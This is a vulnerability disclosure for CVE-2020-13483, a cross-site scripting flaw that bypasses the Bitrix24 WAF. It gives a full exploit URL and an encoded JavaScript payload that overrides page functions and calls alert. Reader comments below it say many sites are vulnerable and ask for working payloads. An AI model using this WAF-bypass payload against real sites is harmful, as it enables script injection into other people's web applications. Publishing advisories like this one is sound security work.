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https://gist.github.com/mariuszpoplawski/44c5dd8ca1c40ebbacd119505254195e | |
CVE-2020-13483 | |
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The Web Application Firewall in Bitrix24 through 20.0.0 allows XSS via | |
the items[ITEMS][ID] parameter to the | |
components/bitrix/mobileapp.list/ajax.php/ URI. | |
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[Additional Information] | |
Vulnerability exists in: | |
http://192.168.1.30/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.location)%3B%7D%3B//%3C/div%3E | |
PAYLOAD: | |
%3Cimg+src=%22//%0d%0a);//%22%22%3E%3Cdiv%3Ex%0d%0a});var+BX+=+window.BX;window.BX+=+function(node,+bCache){};BX.ready+=+function(handler){};function+__MobileAppList(test){alert(document.location);};//%3C/div%3E | |
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[VulnerabilityType Other] | |
Cross Site Scripting (XSS) - Bitrix WAF Bypass | |
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[Vendor of Product] | |
Bitrix | |
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[Affected Product Code Base] | |
Bitrix - up to security update (main 20.0.0), reported and fixed in latest patch | |
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[Affected Component] | |
mobileapp.list | |
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[Attack Type] | |
Remote | |
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[CVE Impact Other] | |
Javascript / HTML injection | |
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[Attack Vectors] | |
To exploit vulnerability attacker need access to the website, no additional requirements needed | |
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[Has vendor confirmed or acknowledged the vulnerability?] | |
true | |
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[Discoverer] | |
Mariusz Poplawski (afine.pl) | |
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[Reference] | |
https://www.bitrix24.com/prices/self-hosted.php | |
https://www.bitrix24.com/security/ | |
Mariusz Popłwski / AFINE.com team |
i found lot of sites have this vuln..but payload do not match
I am getting Forbidden
Request ID: 2022-01-18-03-13-23-16B531DB1EFC5729
Do we need access to the Bitrix app in order to have a successful XSS ?
The response was:
MAPP_ML_MOBILEAPP_NOT_INSTALLED
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please is there any update ..i mean any payload